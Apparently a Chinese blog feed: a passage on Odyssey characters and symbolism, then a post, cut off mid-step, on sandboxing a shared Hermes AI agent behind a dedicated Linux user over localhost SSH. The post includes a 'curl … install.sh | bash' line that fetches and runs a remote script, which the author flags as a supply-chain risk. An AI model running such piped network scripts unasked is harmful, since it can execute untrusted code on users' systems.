英语中的 siren song 就是“极有吸引力、却会把人引向坏结局的诱惑”。现代的警报器之所以也叫 siren，同样来自这种无法忽略、会把注意力强行拉走的声音。

Sirens 象征的不只是欲望，而是没有边界的求知欲和注意力诱惑。Odysseus 的解决办法也很现代：他并不相信未来那个被诱惑的自己，而是提前设计约束，把选择权交给听不见诱惑的同伴。这几乎就是古希腊版本的自我绑定机制。

Scylla 与 Charybdis：斯库拉与卡律布狄斯

Scylla 是长着六个头、会从船上抓走水手的海怪；Charybdis 则是会周期性吞吐海水、足以吞没整艘船的巨大漩涡。二者分处狭窄海峡两侧，船不可能同时避开。

Circe 给 Odysseus 的建议非常残酷：靠近 Scylla。这样必定失去六名水手，但总比整艘船被 Charybdis 吞掉好。

英语中的 between Scylla and Charybdis 就是“夹在两个危险之间，无论怎样选都要付出代价”，与 between a rock and a hard place 接近。即使电影已经拍出了这两个怪物，这个固定表达也值得单独记下来。

这段故事象征的是一种英雄故事很少愿意承认的事实：**优秀的领导有时也找不到所有人都能活下来的方案，只能选择可以承受的损失。**这里不再是 Polyphemus 那种靠聪明得到完胜的题目，而是一道根本没有满分答案的题。

Hades 冥界

Hades 既可以指冥王哈得斯，也可以指他统治的冥界。在《奥德赛》这一段里，更准确的意思是后者。它也不完全等于基督教中的 Hell：这里首先是死者共同前往的阴暗世界，不只是坏人受刑的地狱。

电影让 Hades 以具体形象出现，也让 Odysseus 直接面对亡魂。原著的方式反而更像一次招魂：按照 Circe 的指示，Odysseus 航行到世界边缘，挖沟献祭，以血让亡魂暂时恢复意识。严格地说，他并没有深入地下世界，而是在生死边界召来死者；这一卷因此也常被称作 Nekyia，即招魂、与死者交谈。

他在这里见到先知 Tiresias，得知怎样回家；见到已经去世却无人告诉他的母亲 Anticleia；也见到 Agamemnon 和 Achilles。Achilles 生前选择了短暂而光荣的一生，死后却告诉 Odysseus：宁愿在人间给穷人做雇工，也不愿在死者中称王。

这句话几乎反转了《伊利亚特》追求英雄荣誉的价值。Odysseus 的目标不是死后留下最响亮的名字，而是作为活人回到家中。

冥界之行因此象征必须穿过死亡的知识，才真正理解活着和回家的价值。他从死者那里获得的不只是路线情报，还有几种失败人生留下的警告。

Helios 赫利俄斯与太阳神牛

Helios 是太阳的神格化，不要简单把他和 Apollo 阿波罗当成同一个神。在较晚的希腊罗马传统中，两者逐渐混同，但在荷马史诗里仍然是不同的神。

Helios 在 Thrinacia 特里那基亚岛上养着神圣的牛羊。Tiresias 和 Circe 都提前警告 Odysseus：绝对不能伤害它们。Odysseus 也让船员发誓，可众人被风暴困在岛上、食物耗尽之后，还是趁他睡着时宰杀了神牛。

他们不是“不知道”，而是在饥饿中决定赌一把。Helios 要求 Zeus 惩罚凶手，Zeus 用雷霆击毁船只，只有没有吃牛的 Odysseus 活下来。电影保留了越界和海难，却省去了 Helios 与 Zeus 的直接交涉。

太阳神牛象征不可越过的边界，以及知道规则却无法约束欲望的后果。Odysseus 能管住自己，却不能永远替所有同伴做选择，这也是他最终独自回家的直接原因。

Nausicaa 瑙西卡与法伊阿刻斯人

电影删除了原著讲述海上冒险的整个框架。离开 Calypso 后，Odysseus 赤身裸体地漂到 Scheria 斯刻里亚，在河边遇见正在洗衣服的公主 Nausicaa。面对一群受惊的少女，他没有直接扑上去求助，而是保持距离，用非常谨慎的语言请求衣物和指引。

Nausicaa 把他带到父亲 Alcinous 和母亲 Arete 的宫廷。法伊阿刻斯人先按照 xenia 招待这个身份不明的陌生人，后来 Odysseus 听见诗人歌唱特洛伊战争，忍不住落泪，才终于说出自己是谁，并讲述 Polyphemus、Circe、Sirens 等经历。

换句话说，我们今天最熟悉的“奥德修斯海上大冒险”，在原著里其实是一场宴会上的第一人称回忆。Odysseus 既是故事主人公，也是一个极其擅长控制信息的讲述者。他告诉别人什么、隐瞒什么，未必完全可靠。

法伊阿刻斯人最后用快船把熟睡的 Odysseus 和大量礼物一起送回 Ithaca。他们象征 xenia 的理想答案，也像是连接神怪世界与人类社会的最后一座桥：Odysseus 先把自己的经历讲成故事，才能真正离开故事，回到现实中的家。

《奥德赛》人物速通

Odysseus 与 Odyssey，以及 Ulysses

Odysseus 是伊萨卡国王、Penelope 的丈夫、Telemachus 的父亲，也是特洛伊木马计策最重要的策划者之一。他最典型的称号是 polytropos，大致可以理解成“有许多转向的”“足智多谋的”“经历许多漂泊的”。这个词很难一次翻完，因为它既形容他的旅途曲折，也形容他的脑子很会转弯。

Odyssey 原本就是“关于 Odysseus 的故事”这个希腊语书名。后来专有名词进入英语，又变成小写的普通名词 odyssey，表示漫长、曲折、充满意外的旅程或经历。它不只是普通的 adventure，而通常带有“走了很久，经历许多阶段，最终抵达或改变”的感觉。

Odysseus 还有一个在英语文学里极其常见的名字：Ulysses 尤利西斯。这是他的拉丁语名称。丁尼生的诗《Ulysses》、詹姆斯·乔伊斯的小说《Ulysses》，讲的都是这个名字背后的 Odysseus。以后看到 Ulysses，不要以为又多了一个完全不认识的人。

Odysseus 的名字本身常被古人联系到“愤怒、憎恨、使人痛苦”一类希腊语动词，但真实词源并没有定论。比词源更重要的是他身上的矛盾：

他象征 metis、忍耐、适应和对归乡的坚持；
他也虚荣、会撒谎、会犯错，有时为了自己的名声让同伴承担代价；
他不是靠道德上完美而成为英雄，而是靠无论被剥去多少身份，仍能想办法重新成为自己。

所以 Odysseus 象征的并不是纯粹的勇敢，而是人在一个不可控制的世界里保持目的、不断改换方法的能力。

妻子 Penelope 佩涅洛佩

Penelope 表面上是“等待丈夫二十年的妻子”，但如果认真看原著，她其实是整部史诗里最聪明、最会维持政治秩序的人之一。

有一个非常著名的“织布诡计”。

Odysseus 失踪后，伊萨卡的贵族们不断逼她再嫁。她很难直接无限期拒绝，因为所有人都认为 Odysseus 大概率已经死亡。于是她提出：

等我把给公公 Laertes 织的裹尸布织完，我就选择新的丈夫。

她白天织，晚上拆，连续三年用这个办法拖延求婚者，最后被一个女仆告密，求婚者才发现。

织布不只是“聪明女人想了个计策”。它还象征 Penelope 对时间和秩序的控制：每天过去，求婚者都在消耗 Odysseus 的家产；她没有军队，不能公开驱逐他们，只能让“选择新丈夫的那一天”始终无法到来。她白天推进时间，夜里再把时间拆掉。

电影保留了织布，却删掉了原著结尾最重要的“婚床测试”。Odysseus 已经回来并杀掉求婚者之后，Penelope 仍然不敢完全相信。她故意吩咐女仆把两人的婚床搬出去，Odysseus 立刻愤怒了，因为那张床根本搬不走：他以一棵仍然活着的橄榄树作为床柱，围绕它修建了整间卧室。

只有真正的 Odysseus 才知道这个秘密。Penelope 终于确认，眼前的人就是自己的丈夫。

可以把这则故事理解成古代版本的基于知识的身份验证。但那张无法移动的床还有更深一层含义：二十年里，Odysseus 一直在移动，Penelope 一直在等待；最后证明两人身份的，恰恰是一个扎根土地、不能移动的共同造物。它象征婚姻、家庭和 Ithaca 仍然存在的根基。

在后世文化中，Penelope 经常象征忠贞的妻子。但只用“忠贞”概括她其实太可惜了。她和 Odysseus 是同一种聪明的两种形态：Odysseus 在外部世界靠计谋移动，Penelope 在家中靠计谋维持不动。

长子 Telemachus 忒勒马科斯

如果说《奥德赛》的一半讲“Odysseus 回家”，另一半其实就是 Telemachus 成长为能够迎接父亲回家的儿子。

Odysseus 出征特洛伊时，Telemachus 还是个婴儿。战争十年，漂泊又十年，父子实际上几乎没有共同生活过。等故事开始时，儿子已经成年，却只认识别人讲述中的父亲。

《奥德赛》前四卷通常被称为 Telemachy 忒勒马科斯篇。开头的主要问题不是“Odysseus 在哪里”，而是“Telemachus 要怎么办”。

求婚者们占据宫殿，吃 Odysseus 的牲畜，喝他的酒，花他的钱，追求 Penelope，根本不把 Telemachus 当成真正的主人。他一开始没有能力处理他们，于是 Athena 鼓励他离开家，去寻找父亲的消息。

他先去 Pylos 找 Nestor，再去 Sparta 找 Menelaus 和 Helen。这段旅程本身就是他的成年礼：他学习怎样在公共场合说话、怎样作为客人和主人行动，也从父亲的战友那里拼出“Odysseus 是谁”。

Telemachus 象征的是成长、继承，以及一个从未真正见过父亲的孩子如何建立自己的身份。他最终不是因为父亲回来才突然成为成年人；恰恰相反，是他先开始行动，才有能力在父亲回来时和他并肩作战。

忠仆 Eumaeus 欧迈俄斯

Eumaeus 是 Odysseus 最忠诚的仆人之一，准确说是养猪人。Odysseus 回到 Ithaca 后，第一个投奔的不是王宫，而是 Eumaeus 的猪圈。

Eumaeus 并没有认出伪装成乞丐的主人，却仍然拿出自己有限的食物招待他，还说所有陌生人和乞丐都受 Zeus 保护。这让他成为 xenia 的正面代表：一个社会地位很低的人，比宫殿里所有贵族都更理解神和人的秩序。

原著还特意给了他一段身世：Eumaeus 本来是国王之子，小时候被人拐卖，后来成为 Odysseus 家的奴仆。荷马叙述时多次直接称呼“你，Eumaeus”，这是史诗中非常少见的亲近语气。

电影把他改编成了近乎失明的老人，原著里的 Eumaeus 并不盲。这个改编没有明确的官方解释，但我很容易联想到“荷马是盲诗人”的古老传说：一个看不清眼前乞丐真实面貌，却保存着主人记忆、讲述过去的人，确实很像被放进故事内部的叙述者形象。当然，这只能算我的解读，不能当成诺兰已经确认的意图。

Eumaeus 最稳定的象征意义仍然是忠诚、待客，以及身份高低与道德高低并不是一回事。

忠犬 Argos 阿尔戈斯

Argos 是 Odysseus 的狗。Odysseus 离开 Ithaca 二十年，它从年轻的猎犬变成了躺在粪堆旁、满身虱子的垂死老狗。Odysseus 终于回到故土时，几乎所有人都认不出伪装后的他，Argos 却抬起耳朵、摇了摇尾巴。

Odysseus 不能走过去安抚它，只能继续装作不认识，偷偷擦去眼泪。Argos 看见主人之后，终于咽下最后一口气。

这段很短，但真的很感人。人会被年龄、衣服、地位和谎言欺骗，狗却越过全部伪装认出了二十年前的主人。

Argos 因此既象征跨越时间的忠诚和辨认，也象征 Odysseus 缺席时整个家的衰败。曾经优秀的猎犬无人照顾，正如曾经有秩序的王宫已经被求婚者吃空。Odysseus 回家不只是回到一个地址，而是回来挽救一个已经快要死去的世界。

头号恶人 Antinous 安提诺俄斯

Antinous 是伊萨卡王宫里最傲慢、暴力的求婚者，也是计划杀死 Telemachus 的主要人物。

他和其他求婚者一起霸占 Odysseus 的宫殿，挥霍他的财产，逼迫 Penelope 选择丈夫。他还羞辱伪装成乞丐的 Odysseus，完全违反 xenia。最终决战开始时，他正举杯喝酒，成为 Odysseus 第一箭射杀的人。

他的名字也很有意思。希腊语 Antinoos 常被拆成：

anti-：相对、对立；
noos / nous：心智、思想、理智。

因此这个名字经常被读成“与理智对立的人”。不过这本来也是古希腊真实使用的人名，不能只因为拆词就断言荷马在给反派贴一个直白标签。把它当成一层很合适的文字趣味就够了。

Antinous 最明确的象征是 hubris，也就是傲慢到越过神与人的边界。他以为 Odysseus 永远不会回来，也以为客人的身份可以保护自己无限掠夺主人，最后却死在被他侵占的家中。

原著中还有第二个求婚者领袖 Eurymachus 欧律马科斯。他更圆滑、善于欺骗，事情败露后还试图把全部责任推给已经死去的 Antinous。电影把两人的不少作用集中到了 Antinous 身上，公开演员表中也没有单列 Eurymachus。

原著里的 Eurymachus 与女仆 Melantho 私通。Melantho 是 Penelope 从小养大的女仆，却“不顾女主人的悲痛”，站到了求婚者一边。原文写得非常直接：

she loved Eurymachus and was wont to lie with him.

电影把这段关系也转移给了 Antinous，所以他在电影中几乎成了所有求婚者越界行为的集中体现。

统帅 Agamemnon 阿伽门农

Agamemnon 是迈锡尼国王、Menelaus 的哥哥，也是特洛伊战争中希腊联军的统帅。他和 Odysseus 一样踏上归途，却得到一个完全相反的结局：

1
2


Odysseus → 漂泊十年 → 谨慎回到 Ithaca → 复夺家庭和王位
Agamemnon → 顺利回家 → 毫无防备地进入宫殿 → 被妻子和情人杀死

Agamemnon 的妻子 Clytemnestra 与 Aegisthus 合谋杀死了他。在后来的希腊悲剧传统中，她的复仇又有更早的原因：Agamemnon 出征前献祭了两人的女儿 Iphigenia。这个家庭的每一次暴力都在为下一次暴力制造理由。

《奥德赛》第 11 卷中，Odysseus 在冥界见到 Agamemnon 的亡魂。Agamemnon 讲述自己如何被谋杀，警告他回家后不要毫无防备。当时 Odysseus 还不知道 Ithaca 已经被求婚者占领，因此这个故事非常实际：回家本身可能才是最危险的部分。

Agamemnon 在《奥德赛》中是 Odysseus 的反面归乡样本。两人都赢得战争，只有一个人重新赢回家庭。另一方面，Agamemnon 的儿子 Orestes 为父报仇，又被反复讲给 Telemachus 听，成为“儿子应该在父亲缺席时做什么”的参照。

所以 Agamemnon 象征的不是单纯的失败，而是战场上的胜利无法自动兑换成家庭中的秩序。一个人可以征服特洛伊，仍然不了解自己回到的家。

Menelaus 墨涅拉俄斯、Helen 海伦与 Proteus 普罗透斯

Menelaus 是斯巴达国王、Helen 的丈夫、Agamemnon 的弟弟。Helen 被特洛伊王子 Paris 带走，成为特洛伊战争爆发的直接导火索，Menelaus 因而是战争的核心当事人之一。

电影直接说出了形容 Helen 最著名的一句话：the face that launched a thousand ships，也就是“让千艘战船起航的那张脸”。但这句话并不出自荷马，而来自英国剧作家 Christopher Marlowe。后来它变成了形容一种美貌足以引发巨大行动或灾难的固定文化引用。

Helen 因而经常象征美、欲望和战争的代价，但《奥德赛》中的她并不是一个没有思想的奖品。她与 Menelaus 对特洛伊往事的回忆甚至互相制造了一点不安：Helen 说自己曾识破潜入城中的 Odysseus，却没有出卖他；Menelaus 则回忆木马藏在城中时，Helen 绕着木马模仿希腊将领妻子的声音，差点诱使里面的人回应。她究竟站在哪一边，始终带有暧昧。

Menelaus 的归途也很艰难。他在海上漂泊多年，经过埃及等地，最后抓住能够不断变形的海中老人 Proteus，才逼问出回家的方法以及 Odysseus 仍然活着的消息。

英语形容词 protean 就来自 Proteus，意思是“变化多端的、能不断改变形式的”。这又是一个平时可能见过，却不知道背后站着谁的单词。

在 Telemachy 中，Telemachus 先去 Pylos 找 Nestor，再到 Sparta 见 Menelaus 和 Helen。Menelaus 因此是确认“Odysseus 还活着”的重要信息来源。

从结构上看，Menelaus 是另一种成功的 nostos：他同样漂泊，同样经历海难，最后还是和 Helen 回到斯巴达。但他的宫殿富丽、生活平静，战争留下的记忆却并没有消失。他象征幸存者的归来：确实回到了家，却不代表一切都能恢复成战争前的样子。

父亲 Laertes 拉厄尔忒斯

Laertes 是 Odysseus 年迈的父亲，也是 Penelope 所织裹尸布的主人。电影完全删除了这个人物，但原著直到最后一卷仍然在处理 Odysseus 与父亲的关系。

Odysseus 回家后去农庄见 Laertes，却又一次忍不住先编造假身份，直到看见父亲悲痛得把尘土撒在头上，才终于说出真相。除了展示腿上的旧伤疤，他还列出小时候父亲送给自己的梨树、苹果树、无花果树和葡萄藤。只有父子二人才知道这份果园清单。

这和 Penelope 的婚床测试很相似：真正证明身份的不是抽象的姓名，而是共同生活留下的具体记忆。婚床把 Odysseus 重新变成丈夫，果树把他重新变成儿子。

之后，求婚者的家属前来复仇，在 Athena 帮助下恢复力量的 Laertes 亲手杀死 Antinous 的父亲 Eupeithes。祖父、父亲、儿子三代人终于站在一起，Odysseus 的家才算完整恢复。

Laertes 不需要被强行概括成一个英语文化符号，但他的存在让 nostos 多出一层经常被电影忽略的含义：回家不只是找回妻子和王位，也是让自己重新进入代际关系，重新成为某个人的儿子。

原著真正的结尾

原著并没有在 Odysseus 杀完求婚者、与 Penelope 团聚时立刻结束。

求婚者的亡魂先被 Hermes 带到冥界，Agamemnon 听说 Penelope 忠诚地等到丈夫回来，再次感叹自己的归乡何其失败。随后，求婚者家属要求为死者复仇，与 Odysseus、Telemachus、Laertes 和忠仆爆发冲突。最后 Athena 奉 Zeus 之命叫停双方，让 Ithaca 重新和平。

电影在夫妻团聚之后写了另一套结局。原著则让 Odysseus 留在重新恢复秩序的 Ithaca，但他其实还有一段尚未完成的旅程。

Tiresias 曾预言，Odysseus 在解决求婚者之后，要扛着一支船桨不断向内陆走，直到遇见一个从未见过海的人，把船桨误认成扬谷物的扬谷铲。他要在那里把船桨插进土地，向 Poseidon 献祭，然后再回家。最终，他会在富足和亲人环绕中安详死去。

这个预言很有意思：他必须把海的工具带到完全不知道海的地方，才能真正与海神和解。也就是说，回到 Ithaca 还不是旅程的终点；他还需要把二十年的战争与漂泊带到世界另一端，安放下来，再回家一次。

最后再看 Ithaca 伊萨卡

Ithaca 是现实中存在的希腊岛屿，也是 Odysseus 的王国。但在两千多年的后世文学里，它早就不只是地图上的一个地方。

它可以是故乡、目标、身份，也可以是一个人为了抵达而经历的全部人生。希腊诗人卡瓦菲斯的名诗《Ithaka》写的正是这层意思：希望你的道路漫长，充满冒险和见识；Ithaca 给了你旅程，哪怕最后发现它并不富有，也没有欺骗你。

回头再看整部《奥德赛》，Odysseus 遇到的每个地方都在用不同方式让他停止成为原来的自己：

Lotus 让人忘记为什么回家；
Calypso 给出永生，让他不再作为凡人回家；
Circe 把人变成动物，让人失去文明身份；
Sirens 用无限知识让旅程停在半路；
Polyphemus 逼他隐藏名字，他又因为炫耀名字招来灾祸；
Hades 让他看见，如果不回去，所有英雄最后都只剩一个名字；
求婚者则直接占据他的家，试图让“Odysseus”这个身份失去现实位置。

所以《奥德赛》并不只是在讲一个人怎样从 A 点航行到 B 点。它真正反复追问的是：经历战争、漂泊、诱惑、衰老和二十年时间之后，一个人怎样证明自己仍然是自己，又怎样重新回到与他人组成的关系中。

这也是为什么原著没有把杀死怪物、战胜求婚者或夺回王位当成真正的终点。只有 Penelope 确认这个人仍然知道那张扎根土地的床，Laertes 确认他仍然记得童年的果树，Athena 又让整个 Ithaca 停止复仇，Odysseus 的 nostos 才真正完成。

原典位置速查

如果看完电影后想直接回原著找某一段，可以按卷数速通：

第 1—4 卷：Telemachy，Telemachus 寻找父亲的消息；
第 5 卷：Calypso 放走 Odysseus；
第 6—8 卷：Nausicaa 与法伊阿刻斯人的招待；
第 9 卷：Lotus-Eaters、Polyphemus 与“Nobody”；
第 10 卷：食人巨人 Laestrygonians 与 Circe；
第 11 卷：冥界、Tiresias、Agamemnon 与 Achilles；
第 12 卷：Sirens、Scylla、Charybdis 与 Helios 的神牛；
第 13—16 卷：回到 Ithaca，与 Eumaeus、Telemachus 相认；
第 17 卷：Argos 认出主人；
第 19 卷：老保姆 Eurycleia 通过伤疤认出 Odysseus；
第 21—22 卷：弓箭考验与诛杀求婚者；
第 23 卷：Penelope 与婚床测试；
第 24 卷：Laertes、求婚者家属与最终和解。

这篇笔记主要参考《奥德赛》原著，并用 Encyclopaedia Britannica 的《Odyssey》词条核对故事结构，用 Merriam-Webster 整理的《Words from the Odyssey》核对进入英语的词汇。电影与原著的差异则参考了 Britannica 的改编对照和 Variety 的整理。想直接读英文原著，也可以从 Project Gutenberg 的公版译本开始。

在 HomeLab 上搭建团队共用的 Hermes Agent

Sat, 18 Jul 2026 06:46:55 +0800

最近，我准备在 HomeLab 上部署一个团队共用的 Hermes Agent。

这次搭建的核心思路，是让 Hermes 的 Terminal Backend 在同一台物理机上通过 localhost SSH 登录专用的 hermes 用户，而不是把 Agent 的工作环境塞进 Docker 容器，也不再额外维护一台虚拟机。这里没有第二台远程主机：Gateway 和 SSH Server 都运行在这台 Fedora HomeLab 上，SSH 只是同机切换执行身份和进入独立用户环境的边界。

选择 SSH 是因为它足够朴素：Hermes 登录后看到的是一个正常的 Linux 用户环境，lark-cli、GitHub CLI、Git、Nix 等需要交互式鉴权或长期保存凭据的工具都可以按常规方式配置。与此同时，Linux 用户、用户组、文件权限和 SSH 本身已经提供了一套清楚的隔离边界。

为什么 Terminal Backend 选择 SSH

Hermes 需要的不只是一个能执行几条 Shell 命令的临时环境。它还要长期维护自己的工作区，使用团队工具，并在多次会话之间保留必要的配置和状态。

我最初考虑过三种方案：

方案	优点	主要问题
Docker	部署和销毁方便，文件系统边界直观	设备、网络、凭据和宿主工具都要额外映射；CLI 鉴权比较别扭
虚拟机	隔离完整，环境接近独立主机	太重，资源和配置都有额外维护成本
SSH 到专用用户	环境原生，工具和鉴权方式自然，方便用 Nix 管理	隔离强度取决于宿主机权限配置，需要认真审计

Docker 对无状态服务很好用，但 Agent 的使用方式更像“一个长期在线的远程同事”。例如 lark-cli 和 GitHub CLI 都可能涉及浏览器登录、设备授权、凭据缓存或本地配置目录。把这些状态放进容器，需要继续处理 volume、UID、密钥注入和容器重建后的状态恢复。容器能提供隔离，但也把正常的用户环境拆成了许多需要手工连接的碎片。

虚拟机可以绕过这些问题，却又走到了另一个极端。为了一个用户态 Agent 单独维护完整操作系统，在我的 HomeLab 上有些过重。

所以最终的模型很简单。下面所有组件都位于同一台 Fedora 物理机，连接只经过 loopback：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


Hermes Gateway（veno 用户启动）
 │
 │ SSH localhost
 ▼
hermes 用户
├── 独立的 HOME
├── Home Manager 管理的软件环境
├── 独立的 SSH / Git / CLI 凭据
├── 可写的工作目录
└── 无 sudo 权限

这个方案并不等于强沙箱。它的安全性主要来自普通 Linux 用户隔离，因此后面还需要专门处理 Hermes 自带 Tools 的访问范围，防止 Gateway 进程绕开 SSH 用户边界直接读写 veno 的文件。

环境准备与用户配置

创建专用用户

先在 Fedora 上创建 hermes 用户。它需要正常的登录 Shell 和独立 Home，但不加入 wheel，也不应该继承 veno 所在的敏感用户组。

计划采用的基础操作如下，实际执行前仍要根据当前系统的用户组整理结果确认参数：

1
2
3


sudo useradd --create-home --shell /bin/bash hermes
sudo passwd -l hermes
id hermes

锁定密码不影响密钥登录，可以减少本地密码被尝试的入口。创建后需要重点检查：

hermes 不属于 wheel；
hermes 不属于可以访问容器 socket、虚拟化设备或敏感服务的组；
/home/veno 不对其他用户开放；
团队共享目录通过专用用户组授权，而不是放宽整个 Home 目录权限。

共享目录会单独建立。例如，如果 Agent 只需要操作 /srv/hermes-workspace，就只把这个目录授予对应用户组，不让它顺便获得 /srv 下其他服务的访问权。

1
2
3
4
5
6
7


sudo groupadd --force hermes-workspace
sudo usermod --append --groups hermes-workspace hermes
sudo install -d \
 --owner=hermes \
 --group=hermes-workspace \
 --mode=2770 \
 /srv/hermes-workspace

这里的 setgid 位可以让新文件继承目录所属组，避免多人或自动化进程协作时不断出现组权限漂移。

配置 localhost SSH

Hermes Gateway 由同一台机器上的 veno 用户启动，但 Terminal Backend 通过 localhost 登录的是 hermes。两者之间使用一把专用 SSH 密钥，不复用我日常登录服务器的密钥，也不需要让这条连接暴露到局域网。

1
2
3
4


ssh-keygen \
 -t ed25519 \
 -f ~/.ssh/hermes-agent \
 -C "hermes-agent@localhost"

然后把公钥写入 hermes 的 authorized_keys，并严格设置目录和文件权限。这里还可以在 key 前添加 from="127.0.0.1,::1"，把这把密钥限制为只能从本机使用。

1

from="127.0.0.1,::1" ssh-ed25519 AAAA... hermes-agent@localhost

需要注意，SSH key options 的最终写法要和 Hermes Terminal Backend 的连接方式一起验证。如果 Backend 需要端口转发、PTY 或其他能力，不能过早加上会破坏正常工作的限制。

完成后先脱离 Hermes 做一次最小连接测试：

1
2
3
4


ssh \
 -i ~/.ssh/hermes-agent \
 -o IdentitiesOnly=yes \
 hermes@localhost

预期结果是登录后 whoami 返回 hermes，$HOME 为 /home/hermes，并且无法读取 /home/veno 中权限受限的文件。

用 Nix 和 Home Manager 管理工作环境

我的 HomeLab 是 Fedora + Nix：Fedora 负责内核、驱动、系统服务和用户，Nix 负责用户态工具链。Hermes 也沿用这条边界。

为 Hermes 整理独立分组

这次不打算把我的全部 Home Manager 配置原样复制给 Hermes。个人桌面工具、私有 Shell 配置和只对我有意义的开发环境都不应该进入 Agent 的闭包。

我的 dotfiles 已经按 host 和 package module 做过一轮整理。hosts/thinkpad-veno.nix 负责组合我自己的完整环境，而 Hermes 使用单独的 hosts/thinkpad-hermes.nix。两者可以复用基础模块，但不会共享同一份 host 配置：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


dotfiles/
├── flake.nix
├── hosts/
│ ├── thinkpad-veno.nix
│ └── thinkpad-hermes.nix
└── modules/
 └── packages/
 ├── base.nix
 ├── node.nix
 ├── modern-unix.nix
 └── cli.nix

Hermes 的 host 配置只导入这四个模块：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


{ ... }:
{
 imports = [
 ../modules/packages/base.nix
 ../modules/packages/node.nix
 ../modules/packages/modern-unix.nix
 ../modules/packages/cli.nix
 ];

 home = {
 username = "hermes";
 homeDirectory = "/home/hermes";
 stateVersion = "26.05";
 };

 programs.home-manager.enable = true;
}

其中，base.nix 提供 Git、curl、jq、fzf 和 Neovim 等基础工具；modern-unix.nix 提供 ripgrep、fd、bat、eza、zoxide 等现代命令行工具；cli.nix 安装 GitHub CLI 和 Gitea 的 tea；node.nix 则安装 Node.js、pnpm、Yarn 和 Bun，并把 npm 的用户级 prefix 设置到 ~/.local/share/npm。

对应的 flake 输出也沿用现有的“用户@主机”命名方式：

1
2
3
4


homeConfigurations."hermes@thinkpad" = home-manager.lib.homeManagerConfiguration {
 inherit pkgs;
 modules = [ ./hosts/thinkpad-hermes.nix ];
};

我原来为 lark-cli 写过单独的 Nix package，后来把它删掉了。lark-cli 和 Codex 都以 npm 作为主要发布和更新方式，而且版本更新频繁。继续在 dotfiles 中维护版本号、下载地址和 hash，只会让 Nix 包长期落后于上游。因此，Home Manager 只负责提供稳定的 Node/npm 环境，这两个工具交给 hermes 用户通过 npm 管理：

1

npm install --global @larksuite/lark-cli @openai/codex

这里的“global”并不会写入系统目录。node.nix 已经把 npm prefix 指向 /home/hermes/.local/share/npm，并把其中的 bin 加入 PATH，所以安装和升级都不需要 sudo：

1

npm update --global @larksuite/lark-cli @openai/codex

这样划分之后，Nix 管理相对稳定的运行时和通用工具，npm 管理以 npm 为主要发布渠道、需要频繁跟进版本的 Agent CLI。Hermes 仍然拿不到宿主机的软件安装权限，只能修改自己 Home 下的 npm prefix。

Hermes Agent 本体也采用相同的判断：它更新频繁，而且官方提供了自己的安装与更新流程，所以不由 thinkpad-hermes.nix 管理。当前使用的是官方 Quick Install 命令：

1

curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash

因此，hosts/thinkpad-hermes.nix 中没有导入 agents.nix。Home Manager 负责准备 curl、Git、Node 和常用 CLI 等稳定基础环境；Hermes Agent、lark-cli 和 Codex 则分别跟随自己的主要上游渠道更新。这里的 curl | bash 不是由 root 执行，安装结果只进入 Hermes 用户自己的目录。即便如此，每次重新安装前仍然应该确认域名和脚本来源；方便更新不等于可以忽略供应链风险。

给 Hermes 一个独立的 GitHub 身份

如果 Hermes 只有 dotfiles 的只读权限，它可以在本地修改配置，却没办法把分支推到 GitHub，也就不能独立发起 PR。因此还需要给它一个可审计的 GitHub 身份。

GitHub 没有个人账号下面的子账号。按照 GitHub 对账号类型的说明，用于自动化的账号仍然是一个独立 user account，GitHub 称之为 machine user。它不会在账号层面从属于 U1traVeno，但我负责创建、保管恢复方式和控制它能访问哪些仓库。将来如果需要真正的组织归属和集中权限管理，应该建立 GitHub Organization，或者改用 GitHub App。

对于当前公开的 dotfiles 仓库，独立 machine user + fork 已经足够：

目前创建的账号是 U1traVeno-hermes，使用独立邮箱 hermes@v3n0.top。这个账号只代表由我维护的 Hermes 自动化身份，不和我的日常 GitHub 登录或凭据混用。

1
2
3
4
5
6
7
8
9


U1traVeno/dotfiles（上游，只读）
 ▲
 │ Pull Request
 │
U1traVeno-hermes/dotfiles（fork，可写）
 ▲
 │ SSH push
 │
/home/hermes/dotfiles

创建 machine user

账号注册需要由我手动完成，不能把主账号的密码、2FA 或恢复码交给 Agent。这个账号使用独立用户名和邮箱，并在 profile 中明确标注它是由我维护的自动化账号，避免其他人把它误认为真人团队成员。

账号初始化时需要完成这些设置：

使用独立的长随机密码；
开启 2FA；
把恢复码保存在我的密码管理器中，而不是 /home/hermes；
添加并验证独立邮箱 hermes@v3n0.top；
不给该账号添加主仓库 collaborator 权限；
由 machine user fork U1traVeno/dotfiles。

即使 Hermes 的凭据泄漏，攻击者也只能修改它自己的 fork，不能直接写入上游 main。PR 仍然必须经过主账号审查和合并。

配置 Hermes 自己的 SSH 身份

先进入同一台机器上的 hermes 用户并生成默认 key：

1
2
3
4


install -d -m 0700 ~/.ssh
ssh-keygen \
 -t ed25519 \
 -C "hermes@v3n0.top"

直接接受默认保存位置 ~/.ssh/id_ed25519。如果这个文件已经存在，先确认它是否就是 Hermes 当前使用的身份，不要覆盖。把 ~/.ssh/id_ed25519.pub 添加到 U1traVeno-hermes 的 Settings -> SSH and GPG keys；私钥只保留在 Hermes 自己的 Home 中。

测试时要确认 GitHub 返回的是 machine user，而不是我的主账号：

1

ssh -T git@github.com

先在 Web 上 fork dotfiles

U1traVeno-hermes 没有 U1traVeno/dotfiles 的写权限，所以不能把本地分支直接推送到我的仓库。它必须先以自己的身份 fork 一份仓库，得到可写的：

1

U1traVeno-hermes/dotfiles

首次 bootstrap 时，Home Manager 还没有生效，gh 也还没有安装，所以这里不能先写 gh repo fork。我直接在浏览器中登录 U1traVeno-hermes，打开 U1traVeno/dotfiles 后点击 Fork。

完成后可以先在 Web 页面确认下面两个仓库关系正确：

1
2


nameWithOwner: U1traVeno-hermes/dotfiles
parent: U1traVeno/dotfiles

后续 Hermes 只把 topic branch 推送到 U1traVeno-hermes/dotfiles，再以该分支为 head 向 U1traVeno/dotfiles 的 main 发起 PR。机器账号不需要成为上游仓库的 collaborator，也不需要获得上游 Contents: write 权限。

用临时 Git bootstrap Home Manager

此时 hermes 的 Home Manager 配置还没有应用，所以系统里既没有 Git，也没有 gh。但 Nix 已经可用，可以先进入一个临时带 Git 的 Shell：

1

nix shell 'nixpkgs#git'

这个 Shell 里的 Git 只用于完成第一次 clone。因为机器账号的 fork 已经创建，而且 SSH 公钥也已经登记到 GitHub，所以直接 clone 可写的 fork：

1
2


